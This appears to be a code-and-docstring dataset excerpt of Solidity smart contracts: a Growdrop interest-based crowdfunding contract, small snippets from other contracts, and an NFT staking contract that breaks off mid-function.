* @notice ERC20 Token to send to investors by Growdrop's identifier
*/
mapping(uint256 => EIP20Interface) public GrowdropToken;
/**
* @notice Compound CToken by Growdrop's identifier
*/
mapping(uint256 => CTokenInterface) public CToken;
/**
* @notice Percentage of owner fee to get from Growdrop's total accrued interest by Growdrop's identifier
*/
mapping(uint256 => uint256) public GrowdropOwnerFeePercent;
/**
* @notice Check whether Growdrop adds liquidity to UniswapExchange
*/
mapping(uint256 => bool) public AddToUniswap;
/**
* @notice Current percentage of owner fee
*/
uint256 public CurrentOwnerFeePercent;
/**
* @notice Total funded ERC20 token amount with investor address and ERC20 token address
*/
mapping(address => mapping(address => uint256)) public TotalUserInvestedAmount;
/**
* @notice Event emitted when new Growdrop is created
*/
event NewGrowdrop(
uint256 indexed event_idx,
uint256 indexed growdrop_count,
address indexed from_address,
uint256 timestamp
);
/**
* @notice Event emitted when Growdrop's event occurred
*/
event GrowdropAction(
uint256 indexed event_idx,
uint256 indexed growdrop_count,
address indexed from_address,
uint256 amount1,
uint256 amount2,
uint256 action_idx,
uint256 timestamp
);
/**
* @notice Event emitted when Growdrop's donation ERC721 token event occurred
*/
event DonateAction(
uint256 indexed event_idx,
address indexed from_address,
address indexed to_address,
address supporter,
address beneficiary,
address token_address,
uint256 donate_id,
uint256 token_id,
uint256 amount,
uint256 action_idx,
uint256 timestamp
);
/**
* @dev Constructor, set 'owner' and set 'CurrentOwnerFeePercent'.
*/
constructor () public {
owner = msg.sender;
CheckOwner[msg.sender] = true;
CurrentOwnerFeePercent = 3;
}
/**
* @dev Create new Growdrop.
* Only Address that 'CheckOwner' is true can call.
* 'GrowdropTokenAddr' cannot be tokens which is in Compound's available markets.
*
* Emits {NewGrowdrop} event indicating Growdrop's identifier.
*
* @param TokenAddr ERC20 token address to fund tokens
* @param CTokenAddr Compound CToken address which is pair of 'TokenAddr'
* @param GrowdropTokenAddr ERC20 token address to send tokens to investors
* @param BeneficiaryAddr address to receive Growdrop's accrued interest amount
* @param _GrowdropAmount ERC20 token amount to send to investors
* @param GrowdropPeriod period timestamp to get funds
* @param _ToUniswapTokenAmount ERC20 token amount to add to UniswapExchange. If project does not want to add liquidity to UniswapExchage at all, 0.
* @param _ToUniswapInterestRate percentage of Growdrop's accrued interest amount to add liquidity to UniswapExchange.
* @param _DonateId Growdrop's donation identifier. If Growdrop is donation, not 0. else 0
*/
function newGrowdrop(
address TokenAddr,
address CTokenAddr,
address GrowdropTokenAddr,
address BeneficiaryAddr,
uint256 _GrowdropAmount,
uint256 GrowdropPeriod,
uint256 _ToUniswapTokenAmount,
uint256 _ToUniswapInterestRate,
uint256 _DonateId) public {
require(CheckOwner[msg.sender]);
require(DonateToken.DonateIdOwner(_DonateId)==BeneficiaryAddr || _DonateId==0);
require(_ToUniswapTokenAmount==0 || (_ToUniswapInterestRate>0 && _ToUniswapInterestRate<101-CurrentOwnerFeePercent && _ToUniswapTokenAmount>1e4));
require(_DonateId!=0 || _GrowdropAmount>1e6);
Add(_GrowdropAmount,_ToUniswapTokenAmount);
GrowdropCount += 1;
GrowdropOwnerFeePercent[GrowdropCount] = CurrentOwnerFeePercent;
AddToUniswap[GrowdropCount] = _ToUniswapTokenAmount==0 ? false : true;
Token[GrowdropCount] = EIP20Interface(TokenAddr);
CToken[GrowdropCount] = CTokenInterface(CTokenAddr);
GrowdropToken[GrowdropCount] = EIP20Interface(GrowdropTokenAddr);
Beneficiary[GrowdropCount] = BeneficiaryAddr;
GrowdropAmount[GrowdropCount] = _GrowdropAmount;
GrowdropEndTime[GrowdropCount] = GrowdropPeriod;
ToUniswapTokenAmount[GrowdropCount] = _ToUniswapTokenAmount;
ToUniswapInterestRate[GrowdropCount] = _ToUniswapInterestRate;
DonateId[GrowdropCount] = _DonateId;
EventIdx += 1;
emit NewGrowdrop(EventIdx, GrowdropCount, BeneficiaryAddr, now);
}
/**
* @dev Start Growdrop by Growdrop's identifier.
* Only 'Beneficiary' address can call.
* Transfers ERC20 token amount of 'GrowdropAmount' and 'ToUniswapTokenAmount' to this contract.
*
* Emits {GrowdropAction} event indicating Growdrop's identifier and event information.
*
* @param _GrowdropCount Growdrop's identifier
*/
function StartGrowdrop(uint256 _GrowdropCount) public {
require(msg.sender==Beneficiary[_GrowdropCount], "not beneficiary");
require(!GrowdropStart[_GrowdropCount], "already started");
GrowdropStart[_GrowdropCount] = true;
if(DonateId[_GrowdropCount]==0) {
require(GrowdropToken[_GrowdropCount].transferFrom(msg.sender, address(this), GrowdropAmount[_GrowdropCount]+ToUniswapTokenAmount[_GrowdropCount]), "transfer growdrop error");
}
GrowdropStartTime[_GrowdropCount] = now;
GrowdropEndTime[_GrowdropCount] = Add(GrowdropEndTime[_GrowdropCount], now);
EventIdx += 1;
emit GrowdropAction(EventIdx, _GrowdropCount, address(0x0), 0, 0, 5, now);
}
/**
* @dev Investor funds ERC20 token to Growdrop by Growdrop's identifier.
* Should be approved before call.
* Funding amount will be calculated as CToken and recalculated to minimum which has same value as calculated CToken before funding.
* Funding ctoken amount should be bigger than 0.
* Can be funded only with Growdrop's 'Token'.
* Can fund only after started and before ended.
*
* Emits {GrowdropAction} event indicating Growdrop's identifier and event information.
*
* @param _GrowdropCount Growdrop's identifier
* @param Amount ERC20 token amount to fund to Growdrop
*/
function Mint(uint256 _GrowdropCount, uint256 Amount) public {
require(GrowdropStart[_GrowdropCount], "not started");
require(now<GrowdropEndTime[_GrowdropCount], "already ended");
require(msg.sender!=Beneficiary[_GrowdropCount], "beneficiary cannot mint");
uint256 _exchangeRateCurrent = CToken[_GrowdropCount].exchangeRateCurrent();
uint256 _ctoken;
uint256 _toMinAmount;
(_ctoken, _toMinAmount) = toMinAmount(Amount, _exchangeRateCurrent);
require(_ctoken>0, "amount too low");
uint256 actualAmount;
uint256 actualCToken;
(actualCToken, actualAmount) = toActualAmount(_toMinAmount, _exchangeRateCurrent);
CTokenPerAddress[_GrowdropCount][msg.sender] = Add(CTokenPerAddress[_GrowdropCount][msg.sender], _ctoken);
TotalCTokenAmount[_GrowdropCount] = Add(TotalCTokenAmount[_GrowdropCount], _ctoken);
ActualCTokenPerAddress[_GrowdropCount][msg.sender] = Add(ActualCTokenPerAddress[_GrowdropCount][msg.sender], actualCToken);
TotalCTokenActual[_GrowdropCount] = Add(TotalCTokenActual[_GrowdropCount], actualCToken);
InvestAmountPerAddress[_GrowdropCount][msg.sender] = Add(InvestAmountPerAddress[_GrowdropCount][msg.sender], _toMinAmount);
TotalMintedAmount[_GrowdropCount] = Add(TotalMintedAmount[_GrowdropCount], _toMinAmount);
ActualPerAddress[_GrowdropCount][msg.sender] = Add(ActualPerAddress[_GrowdropCount][msg.sender], actualAmount);
TotalMintedActual[_GrowdropCount] = Add(TotalMintedActual[_GrowdropCount], actualAmount);
require(Token[_GrowdropCount].transferFrom(msg.sender, address(this), _toMinAmount), "transfer token error");
require(Token[_GrowdropCount].approve(address(CToken[_GrowdropCount]), _toMinAmount), "approve token error");
require(CToken[_GrowdropCount].mint(_toMinAmount)==0, "error in mint");
TotalUserInvestedAmount[msg.sender][address(Token[_GrowdropCount])] = Add(TotalUserInvestedAmount[msg.sender][address(Token[_GrowdropCount])],_toMinAmount);
EventIdx += 1;
emit GrowdropAction(EventIdx,_GrowdropCount, msg.sender, InvestAmountPerAddress[_GrowdropCount][msg.sender], CTokenPerAddress[_GrowdropCount][msg.sender], 0, now);
}
/**
* @dev Investor refunds ERC20 token to Growdrop by Growdrop's identifier.
* Refunding CToken amount should be bigger than 0.
* Refunding amount calculated as CToken should be smaller than investor's funded amount calculated as CToken by Growdrop's identifier.
* Can refund only after started and before ended.
*
* Emits {GrowdropAction} event indicating Growdrop's identifier and event information.
*
* @param _GrowdropCount Growdrop's identifier
* @param Amount ERC20 token amount to refund to Growdrop
*/
function Redeem(uint256 _GrowdropCount, uint256 Amount) public {
require(GrowdropStart[_GrowdropCount], "not started");
require(now<GrowdropEndTime[_GrowdropCount], "already ended");
uint256 _exchangeRateCurrent = CToken[_GrowdropCount].exchangeRateCurrent();
uint256 _ctoken;
uint256 _toMinAmount;
(_ctoken,_toMinAmount) = toMinAmount(Amount, _exchangeRateCurrent);
require(_ctoken>0 && _ctoken<=MulAndDiv(InvestAmountPerAddress[_GrowdropCount][msg.sender], 1e18, _exchangeRateCurrent), "redeem error");
uint256 actualAmount;
uint256 actualCToken;
(actualCToken, actualAmount) = toActualAmount(_toMinAmount, _exchangeRateCurrent);
CTokenPerAddress[_GrowdropCount][msg.sender] = Sub(CTokenPerAddress[_GrowdropCount][msg.sender], _ctoken);
TotalCTokenAmount[_GrowdropCount] = Sub(TotalCTokenAmount[_GrowdropCount],_ctoken);
ActualCTokenPerAddress[_GrowdropCount][msg.sender] = Sub(ActualCTokenPerAddress[_GrowdropCount][msg.sender], actualCToken);
TotalCTokenActual[_GrowdropCount] = Sub(TotalCTokenActual[_GrowdropCount], actualCToken);
InvestAmountPerAddress[_GrowdropCount][msg.sender] = Sub(InvestAmountPerAddress[_GrowdropCount][msg.sender], _toMinAmount);
TotalMintedAmount[_GrowdropCount] = Sub(TotalMintedAmount[_GrowdropCount], _toMinAmount);
ActualPerAddress[_GrowdropCount][msg.sender] = Sub(ActualPerAddress[_GrowdropCount][msg.sender], actualAmount);
TotalMintedActual[_GrowdropCount] = Sub(TotalMintedActual[_GrowdropCount], actualAmount);
require(CToken[_GrowdropCount].redeemUnderlying(Amount)==0, "error in redeem");
require(Token[_GrowdropCount].transfer(msg.sender, Amount), "transfer token error");
TotalUserInvestedAmount[msg.sender][address(Token[_GrowdropCount])] = Sub(TotalUserInvestedAmount[msg.sender][address(Token[_GrowdropCount])], _toMinAmount);
EventIdx += 1;
emit GrowdropAction(EventIdx, _GrowdropCount, msg.sender, InvestAmountPerAddress[_GrowdropCount][msg.sender], CTokenPerAddress[_GrowdropCount][msg.sender], 1, now);
}
/**
* @dev Investor and Investee withdraws from Growdrop by Growdrop's identifier.
* Investor withdraws investor's all funded ERC20 token amount and 'GrowdropToken' calculated by percentage of investor's accrued interest amount.
* If Growdrop is donation, Investor withdraws investor's all funded ERC20 token amount and ERC721 token from 'DonateToken'.
* Investee withdraws all investor's accrued interest if 'ToUniswap' is false.
* Else add liquidity to Uniswap with 'ToUniswapInterestRate' percentage of all investor's accrued interest amount and 'ToUniswapTokenAmount' ERC20 token
* and withdraw rest of all investor's accured interest amount.
* If Growdrop is donation, Investee withdraws investor's all funded ERC20 token amount.
* Owner fee is transferred when Investee withdraws.
* Can withdraw only once per address.
* Can withdraw only after ended.
*
* Emits {GrowdropAction} event indicating Growdrop's identifier and event information.
* Emits {DonateAction} event indicating ERC721 token information from 'DonateToken' if Growdrop is donation.
*
* @param _GrowdropCount Growdrop's identifier
* @param ToUniswap if investee wants to add liquidity to UniswapExchange, true. Else false.
*/
function Withdraw(uint256 _GrowdropCount, bool ToUniswap) public {
require(!WithdrawOver[_GrowdropCount][msg.sender], "already done");
WithdrawOver[_GrowdropCount][msg.sender] = true;
EndGrowdrop(_GrowdropCount);
//If investee did not want to add to UniswapExchange, does not add to UniswapExchange.
if(!AddToUniswap[_GrowdropCount]) {
ToUniswap = false;
}
//If caller is investee
if(msg.sender==Beneficiary[_GrowdropCount]) {
uint256 beneficiaryinterest;
bool success;
if(TotalInterestOverActual[_GrowdropCount]==0) {
ToUniswap=false;
success=true;
}
uint256 OwnerFee = MulAndDiv(TotalInterestOver[_GrowdropCount], GrowdropOwnerFeePercent[_GrowdropCount], 100);
if(ToUniswap) {
uint256 ToUniswapInterestRateCalculated = MulAndDiv(TotalInterestOver[_GrowdropCount], ToUniswapInterestRate[_GrowdropCount], 100);
beneficiaryinterest = TotalInterestOver[_GrowdropCount]-ToUniswapInterestRateCalculated-OwnerFee;
require(Token[_GrowdropCount].approve(address(Tokenswap), ToUniswapInterestRateCalculated), "approve token error");
require(GrowdropToken[_GrowdropCount].approve(address(Tokenswap), ToUniswapTokenAmount[_GrowdropCount]), "approve growdrop error");
success = Tokenswap.addPoolToUniswap(
address(Token[_GrowdropCount]),
address(GrowdropToken[_GrowdropCount]),
Beneficiary[_GrowdropCount],
ToUniswapInterestRateCalculated,
ToUniswapTokenAmount[_GrowdropCount]
);
if(!success) {
beneficiaryinterest += ToUniswapInterestRateCalculated;
}
} else {
beneficiaryinterest = TotalInterestOver[_GrowdropCount]-OwnerFee;
if(DonateId[_GrowdropCount]!=0) {
success=true;
}
}
sendTokenInWithdraw(_GrowdropCount, Beneficiary[_GrowdropCount], beneficiaryinterest, success ? 0 : ToUniswapTokenAmount[_GrowdropCount]);
require(Token[_GrowdropCount].transfer(owner, OwnerFee), "transfer fee error");
EventIdx += 1;
emit GrowdropAction(EventIdx, _GrowdropCount, msg.sender, beneficiaryinterest, success ? 1 : 0, 2, now);
} else {
//If caller is investor
uint256 investorTotalInterest = MulAndDiv(ActualCTokenPerAddress[_GrowdropCount][msg.sender], ExchangeRateOver[_GrowdropCount], 1) - ActualPerAddress[_GrowdropCount][msg.sender];
uint256 tokenByInterest = DonateId[_GrowdropCount]==0 ? MulAndDiv(
investorTotalInterest,
GrowdropAmount[_GrowdropCount],
(TotalInterestOverActual[_GrowdropCount]==0 ? 1 : TotalInterestOverActual[_GrowdropCount])
) : investorTotalInterest;
tokenByInterest = sendTokenInWithdraw(_GrowdropCount, msg.sender, InvestAmountPerAddress[_GrowdropCount][msg.sender], tokenByInterest);
TotalUserInvestedAmount[msg.sender][address(Token[_GrowdropCount])] = Sub(TotalUserInvestedAmount[msg.sender][address(Token[_GrowdropCount])], InvestAmountPerAddress[_GrowdropCount][msg.sender]);
EventIdx += 1;
emit GrowdropAction(EventIdx, _GrowdropCount, msg.sender, InvestAmountPerAddress[_GrowdropCount][msg.sender], tokenByInterest, 3, now);
}
}
/**
* @dev Transfers ERC20 tokens to 'To' address.
* If Growdrop by '_GrowdropCount' is donation, 'DonateToken' mints new ERC721 token.
*
* Emits {DonateAction} event indicating ERC721 token information from 'DonateToken' if Growdrop is donation.
*
* @param _GrowdropCount Growdrop's identifier
* @param To address to send ERC20 tokens
* @param TokenAmount ERC20 token amount of 'Token'
* @param GrowdropTokenAmount ERC20 token amount of 'GrowdropToken'
* @return if Growdrop by '_GrowdropCount' is donation, return new ERC721 token's identifier. Else return ERC20 token amount of 'GrowdropToken'
*/
function sendTokenInWithdraw(uint256 _GrowdropCount, address To, uint256 TokenAmount, uint256 GrowdropTokenAmount) private returns (uint256) {
require(Token[_GrowdropCount].transfer(To, TokenAmount), "transfer token error");
if(DonateId[_GrowdropCount]==0) {
require(GrowdropToken[_GrowdropCount].transfer(To, GrowdropTokenAmount), "transfer growdrop error");
return GrowdropTokenAmount;
} else {
return DonateToken.mint(msg.sender, Beneficiary[_GrowdropCount], address(Token[_GrowdropCount]), GrowdropTokenAmount, DonateId[_GrowdropCount]);
}
}
/**
* @dev Ends Growdrop by '_GrowdropCount'.
* If total actual accrued interest is 0 and Growdrop is not donation, transfers 'GrowdropAmount' and 'ToUniswapTokenAmount' back to 'Beneficiary'.
* Total accrued interest is calculated -> maximum amount of Growdrop's all CToken to ERC20 token - total funded ERC20 amount of Growdrop.
*
* Emits {GrowdropAction} event indicating Growdrop's identifier and event information.
*
* @param _GrowdropCount Growdrop's identifier
*/
function EndGrowdrop(uint256 _GrowdropCount) private {
require(GrowdropStart[_GrowdropCount] && GrowdropEndTime[_GrowdropCount]<=now, "cannot end now");
if(!GrowdropOver[_GrowdropCount]) {
GrowdropOver[_GrowdropCount] = true;
ExchangeRateOver[_GrowdropCount] = CToken[_GrowdropCount].exchangeRateCurrent();
uint256 _toAmount = TotalCTokenAmount[_GrowdropCount]>0 ? MulAndDiv(TotalCTokenAmount[_GrowdropCount]+1, ExchangeRateOver[_GrowdropCount], 1e18) : 0;
if(TotalCTokenAmount[_GrowdropCount]!=0) {
require(CToken[_GrowdropCount].redeemUnderlying(_toAmount)==0, "error in redeem");
}
TotalInterestOverActual[_GrowdropCount] = MulAndDiv(TotalCTokenActual[_GrowdropCount], ExchangeRateOver[_GrowdropCount], 1) - TotalMintedActual[_GrowdropCount];
TotalInterestOver[_GrowdropCount] = _toAmount>TotalMintedAmount[_GrowdropCount] ? _toAmount-TotalMintedAmount[_GrowdropCount] : 0;
if(TotalInterestOverActual[_GrowdropCount]==0) {
if(DonateId[_GrowdropCount]==0) {
require(
GrowdropToken[_GrowdropCount].transfer(
Beneficiary[_GrowdropCount],
GrowdropAmount[_GrowdropCount]+ToUniswapTokenAmount[_GrowdropCount]
)
);
}
}
EventIdx += 1;
emit GrowdropAction(EventIdx, _GrowdropCount, msg.sender, TotalInterestOverActual[_GrowdropCount]==0 ? 1 : 0, 0, 6, now);
}
}
/**
* @dev Calculates CToken and maximum amount of ERC20 token from ERC20 token amount and exchange rate of Compound CToken.
* @param tokenAmount ERC20 token amount
* @param exchangeRate exchange rate of Compound CToken
* @return calculated CToken amount
* @return calculated maximum amount of ERC20 token
*/
function toMaxAmount(uint256 tokenAmount, uint256 exchangeRate) private pure returns (uint256, uint256) {
uint256 _ctoken = MulAndDiv(tokenAmount, 1e18, exchangeRate);
return (_ctoken, MulAndDiv(
Add(_ctoken, 1),
exchangeRate,
1e18
));
}
/**
* @dev Calculates CToken and minimum amount of ERC20 token from ERC20 token amount and exchange rate of Compound CToken.
* @param tokenAmount ERC20 token amount
* @param exchangeRate exchange rate of Compound CToken
* @return calculated CToken amount
* @return calculated minimum amount of ERC20 token
*/
function toMinAmount(uint256 tokenAmount, uint256 exchangeRate) private pure returns (uint256, uint256) {
uint256 _ctoken = MulAndDiv(tokenAmount, 1e18, exchangeRate);
return (_ctoken, Add(
MulAndDiv(
_ctoken,
exchangeRate,
1e18
),
1
));
}
/**
* @dev Calculates actual CToken and amount of ERC20 token from ERC20 token amount and exchange rate of Compound CToken.
* Need for calculating percentage of interest accrued.
* @param tokenAmount ERC20 token amount
* @param exchangeRate exchange rate of Compound CToken
* @return calculated actual CToken amount
* @return calculated actual minimum amount of ERC20 token
*/
function toActualAmount(uint256 tokenAmount, uint256 exchangeRate) private pure returns (uint256, uint256) {
uint256 _ctoken = MulAndDiv(tokenAmount, 1e29, exchangeRate);
uint256 _token = MulAndDiv(_ctoken, exchangeRate, 1);
return (_ctoken, _token);
}
function MulAndDiv(uint256 a, uint256 b, uint256 c) private pure returns (uint256) {
uint256 temp = a*b;
require(temp/b==a && c>0, "arithmetic error");
return temp/c;
}
function Add(uint256 a, uint256 b) private pure returns (uint256) {
require(a+b>=a, "add overflow");
return a+b;
}
function Sub(uint256 a, uint256 b) private pure returns (uint256) {
require(a>=b, "subtract overflow");
return a-b;
}
/**
* @dev Emits {DonateAction} event from 'DonateToken' contract.
* Only 'DonateToken' contract can call.
*
* Emits {DonateAction} event indicating ERC721 token information from 'DonateToken'.
*
* @param From 'DonateToken' ERC721 token's previous owner
* @param To 'DonateToken' ERC721 token's next owner
* @param Supporter 'DonateToken' ERC721 token's 'supporter'
* @param beneficiary 'DonateToken' ERC721 token's 'beneficiary'
* @param token 'DonateToken' ERC721 token's 'tokenAddress'
* @param donateId 'DonateToken' ERC721 token's 'donateId'
* @param tokenId 'DonateToken' ERC721 token's identifier
* @param Amount 'DonateToken' ERC721 token's 'tokenAmount'
* @param ActionIdx DonateAction event identifier
* @return EventIdx event sequential identifier
*/
function emitDonateActionEvent(
address From,
address To,
address Supporter,
address beneficiary,
address token,
uint256 donateId,
uint256 tokenId,
uint256 Amount,
uint256 ActionIdx) public returns (uint256) {
require(msg.sender==address(DonateToken), "not donatetoken contract");
EventIdx += 1;
emit DonateAction(EventIdx, From, To, Supporter, beneficiary, token, donateId, tokenId, Amount, ActionIdx, now);
return EventIdx;
}
/**
* @dev Set 'DonateToken' contract address.
* @param DonateTokenAddress 'DonateToken' contract address
*/
function setDonateToken(address DonateTokenAddress) public {
require(CheckOwner[msg.sender]);
DonateToken = DonateTokenInterface(DonateTokenAddress);
}
/**
* @dev Set 'Tokenswap' contract address.
* @param TokenswapAddress 'Tokenswap' contract address
*/
function setTokenswap(address TokenswapAddress) public {
require(CheckOwner[msg.sender]);
Tokenswap = TokenswapInterface(TokenswapAddress);
}
/**
* @dev Change 'CheckOwner' state of address .
* @param _Owner address to change state
*/
function addOwner(address _Owner) public {
require(CheckOwner[msg.sender]);
CheckOwner[_Owner] = !CheckOwner[_Owner];
}
/**
* @dev Set 'owner' address .
* @param _Owner address to set
*/
function setOwner(address _Owner) public {
require(CheckOwner[msg.sender] && CheckOwner[_Owner], "not proper owner");
owner=_Owner;
}
/**
* @dev Set 'CurrentOwnerFeePercent'.
* @param _OwnerFeePercent value to set
*/
function setOwnerFeePercent(uint256 _OwnerFeePercent) public {
require(CheckOwner[msg.sender], "not owner");
require(_OwnerFeePercent>0 && _OwnerFeePercent<100, "not proper percent");
CurrentOwnerFeePercent=_OwnerFeePercent;
}
function () external payable {
}
}
|
Investor refunds ERC20 token to Growdrop by Growdrop's identifier. Refunding CToken amount should be bigger than 0. Refunding amount calculated as CToken should be smaller than investor's funded amount calculated as CToken by Growdrop's identifier. Can refund only after started and before ended. Emits {GrowdropAction} event indicating Growdrop's identifier and event information. _GrowdropCount Growdrop's identifier Amount ERC20 token amount to refund to Growdrop/
|
function Redeem(uint256 _GrowdropCount, uint256 Amount) public {
require(GrowdropStart[_GrowdropCount], "not started");
require(now<GrowdropEndTime[_GrowdropCount], "already ended");
uint256 _exchangeRateCurrent = CToken[_GrowdropCount].exchangeRateCurrent();
uint256 _ctoken;
uint256 _toMinAmount;
(_ctoken,_toMinAmount) = toMinAmount(Amount, _exchangeRateCurrent);
require(_ctoken>0 && _ctoken<=MulAndDiv(InvestAmountPerAddress[_GrowdropCount][msg.sender], 1e18, _exchangeRateCurrent), "redeem error");
uint256 actualAmount;
uint256 actualCToken;
(actualCToken, actualAmount) = toActualAmount(_toMinAmount, _exchangeRateCurrent);
CTokenPerAddress[_GrowdropCount][msg.sender] = Sub(CTokenPerAddress[_GrowdropCount][msg.sender], _ctoken);
TotalCTokenAmount[_GrowdropCount] = Sub(TotalCTokenAmount[_GrowdropCount],_ctoken);
ActualCTokenPerAddress[_GrowdropCount][msg.sender] = Sub(ActualCTokenPerAddress[_GrowdropCount][msg.sender], actualCToken);
TotalCTokenActual[_GrowdropCount] = Sub(TotalCTokenActual[_GrowdropCount], actualCToken);
InvestAmountPerAddress[_GrowdropCount][msg.sender] = Sub(InvestAmountPerAddress[_GrowdropCount][msg.sender], _toMinAmount);
TotalMintedAmount[_GrowdropCount] = Sub(TotalMintedAmount[_GrowdropCount], _toMinAmount);
ActualPerAddress[_GrowdropCount][msg.sender] = Sub(ActualPerAddress[_GrowdropCount][msg.sender], actualAmount);
TotalMintedActual[_GrowdropCount] = Sub(TotalMintedActual[_GrowdropCount], actualAmount);
require(CToken[_GrowdropCount].redeemUnderlying(Amount)==0, "error in redeem");
require(Token[_GrowdropCount].transfer(msg.sender, Amount), "transfer token error");
TotalUserInvestedAmount[msg.sender][address(Token[_GrowdropCount])] = Sub(TotalUserInvestedAmount[msg.sender][address(Token[_GrowdropCount])], _toMinAmount);
EventIdx += 1;
emit GrowdropAction(EventIdx, _GrowdropCount, msg.sender, InvestAmountPerAddress[_GrowdropCount][msg.sender], CTokenPerAddress[_GrowdropCount][msg.sender], 1, now);
}
| 7,299,678
|
./full_match/5/0x393f13d4A7A82c71d0926751CF897E1a1c588C35/sources/contracts/data/DataStore.sol
|
delete the uint value for the given key key the key of the value
|
function removeUint(bytes32 key) external onlyController {
delete uintValues[key];
}
| 11,589,348
|
./partial_match/3/0x863534bDC6e93d0D0e5a67293CBf1636E1Fc984d/sources/UtilityTokenETHOnly.sol
|
overall balance (in this case - eth)/
|
function _reserveTokenBalance() internal view virtual override returns(uint256) {
return address(this).balance;
}
| 5,247,335
|
./full_match/1/0x94D9326Dc82D36895Bb9ED498e611587CbD07253/sources/contracts/NFTStaking.sol
|
Unstake function, user claims the rewards as he/she unstakes tokenIds List of token IDs to unstake/ Additional check to ensure transfer does not fail and user gets balance rewards if shortage
|
function withdraw(uint256[] calldata tokenIds) external nonReentrant {
_creditRewards();
StakesMeta storage stakesMeta = stakeMap[_msgSender()];
require(stakesMeta.stakes.length > 0, "N: No stakes");
uint256 rewardsPen;
uint256 rewards;
uint256 nowTS = block.timestamp;
for (uint256 i; i < tokenIds.length; ++i) {
require(tokenStakerMap[tokenIds[i]] == _msgSender(), "N: Not ur stake");
tokenStakerMap[tokenIds[i]] = address(0);
nftCollection.transferFrom(
address(this),
_msgSender(),
tokenIds[i]
);
for (uint256 j; j < stakesMeta.stakes.length; ++j) {
if (stakesMeta.stakes[j].tokenID == tokenIds[i]) {
uint256 eligibleBasis = 10000 -
_penaltyFor(stakesMeta.stakes[j].since, nowTS);
uint256 rwd = (accYieldPerTknWei / _WEI) -
stakesMeta.stakes[j].rewards2Exclude -
stakesMeta.stakes[j].claimedRewards;
rewardsPen += (rwd * eligibleBasis) / 10000;
rewards += rwd;
stakesMeta.totalClaimedRewards -= stakesMeta
.stakes[j]
.claimedRewards;
stakesMeta.totalRewards2Exclude -= stakesMeta
.stakes[j]
.rewards2Exclude;
stakesMeta.stakes[j] = stakesMeta.stakes[
stakesMeta.stakes.length - 1
];
stakesMeta.stakes.pop();
--countOfStakes;
}
}
}
if (rewards > 0) {
uint256 lbskrBal = lbskrToken.balanceOf(address(this));
rewardsPen = rewardsPen < lbskrBal ? rewardsPen : lbskrBal;
if (lbskrBal > 0) {
lbskrToken.transfer(_msgSender(), rewardsPen);
}
}
if (stakeMap[_msgSender()].stakes.length == 0) {
for (uint256 i; i < stakersArray.length; ++i) {
if (stakersArray[i] == _msgSender()) {
stakersArray[i] = stakersArray[stakersArray.length - 1];
stakersArray.pop();
}
}
}
}
| 9,632,455
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract TestStaking is Ownable {
using SafeMath for uint256;
// user list
struct UserInfo {
uint256 stakingAmount;
uint256 rewardAmount;
}
mapping(address => UserInfo) userList;
// NFT list
struct NFTInfo {
address nftAddress;
uint256 tokenID;
address staker;
uint256 stakeAt; // staking time
}
NFTInfo[] nftStakingList;
// interface
IERC20 FT;
IERC721 NFT;
uint256 public stakeRate; // points generated per token per second staked
address public ftAddress; // ERC20 contract address
address public nftAddress; // ERC721 contract address
// events
event Stake(
address indexed sender,
address indexed reciever,
uint256 tokenID,
string message
);
event unStake(
address indexed sender,
address indexed reciever,
uint256 tokenID,
string message
);
// init
constructor(address _ftAddress, address _nftAddress) {
stakeRate = 1;
ftAddress = _ftAddress;
nftAddress = _nftAddress;
FT = IERC20(_ftAddress);
NFT = IERC721(_nftAddress);
}
function stakeNFT(
// address _nftAddress,
uint256 _tokenID
) external {
// transfer NFT in
NFT.transferFrom(msg.sender, address(this), _tokenID);
// update user NFT amount
userList[msg.sender].stakingAmount += 1;
// add NFT into "nftStakingList" list
nftStakingList.push(
NFTInfo({
nftAddress: nftAddress,
tokenID: _tokenID,
staker: msg.sender,
stakeAt: block.timestamp
})
);
emit Stake(
address(msg.sender),
address(this),
_tokenID,
"Stake NFT from to"
);
}
function unstakeNFT(uint256 _stakeID) external {
NFTInfo storage nft = nftStakingList[_stakeID];
UserInfo storage user = userList[msg.sender];
// must be staker
require(nft.staker == msg.sender, "not owner");
// transfer NFT out
NFT.transferFrom(address(this), msg.sender, nft.tokenID);
// reward user
user.rewardAmount += _rewardPoints(block.timestamp.sub(nft.stakeAt));
user.stakingAmount -= 1;
// remove NFT
if (nftStakingList.length == 1) {
nftStakingList.pop();
} else {
nftStakingList[_stakeID] = nftStakingList[
nftStakingList.length - 1
];
nftStakingList.pop();
}
emit unStake(
address(this),
address(msg.sender),
nft.tokenID,
"unStake NFT from to"
);
}
function withdrawRewards(uint256 _amount) external {
// transfer reward to Rookies token
require(
_amount <= userList[msg.sender].rewardAmount,
"not enough reward points"
);
// transfer to FT token
FT.transfer(msg.sender, _amount);
userList[msg.sender].rewardAmount -= _amount;
}
function setStakeRate(uint256 _rate) external onlyOwner {
stakeRate = _rate;
}
function getUser(address _staker)
public
view
returns (
uint256[] memory stakingIDs,
uint256 stakingAmount,
uint256 rewardAmount
)
{
UserInfo storage user = userList[_staker];
uint256 _idx = 0;
uint256[] memory _ids = new uint256[](user.stakingAmount);
// record NFT index from "nftStakingList" list, then input "stakingIDs" array
for (uint256 i = 0; i < nftStakingList.length; i++) {
if (_staker == nftStakingList[i].staker) {
_ids[_idx++] = i;
}
}
stakingIDs = _ids;
stakingAmount = user.stakingAmount;
rewardAmount = user.rewardAmount;
}
function getSakingNft(uint256 _stakingID)
external
view
returns (
address nftAddress_,
uint256 tokenID,
address staker,
uint256 stakeAt
)
{
NFTInfo storage nft = nftStakingList[_stakingID];
nftAddress_ = nft.nftAddress;
tokenID = nft.tokenID;
staker = nft.staker;
stakeAt = nft.stakeAt;
}
function getStakingReward(address userAddress)
public
view
returns (uint256)
{
// get current reward points, not include "user.rewardAmount"
// get user informaiton
(uint256[] memory nftStakeIds, uint256 stakingAmount, ) = getUser(
userAddress
);
// all NFT staking time
uint256 timeElapsed = 0;
// get all NFT from "nftStakingList" list, then accumulate "timeElapsed"
for (uint256 i = 0; i < stakingAmount; i++) {
uint256 _id = nftStakeIds[i];
timeElapsed += block.timestamp.sub(nftStakingList[_id].stakeAt);
}
return _rewardPoints(timeElapsed);
}
function getStakingNftCount() public view returns (uint256) {
return nftStakingList.length;
}
function _rewardPoints(uint256 _timeElapsed)
private
view
returns (uint256)
{
